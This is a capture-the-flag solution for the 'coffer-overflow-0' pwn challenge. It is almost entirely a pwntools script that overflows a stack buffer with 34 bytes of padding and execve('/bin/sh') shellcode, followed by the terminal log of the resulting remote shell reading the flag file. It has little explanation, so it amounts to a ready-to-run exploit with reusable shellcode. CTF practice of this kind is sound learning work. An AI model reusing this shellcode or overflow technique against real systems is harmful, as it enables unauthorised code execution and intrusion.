---
# System prepended metadata

title: (solved) pwn/coffer-overflow-0

---

#  (solved) pwn/coffer-overflow-0

```python
#!/usr/bin/python3
from pwn import *

shell64 = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
r = remote('2020.redpwnc.tf', 31199)
#r = process('./coffer-overflow-0')
print(r.recvline())
print(r.recvuntil('What do you want to fill your coffer with?'))
r.sendline(b'A'*34 + shell64)
r.interactive()
```

```bash
root@STEVE:~/redpwn/coffer-overflow-0# ./doit.py 
[+] Opening connection to 2020.redpwnc.tf on port 31199: Done
b'Welcome to coffer overflow, where our coffers are overfilling with bytes ;)\n'
b'What do you want to fill your coffer with?'
[*] Switching to interactive mode

$ ls
Makefile
bin
coffer-overflow-0
coffer-overflow-0.c
dev
flag.txt
lib
lib32
lib64
$ cat flag.txt
flag{b0ffer_0verf10w_3asy_as_123}
$  
```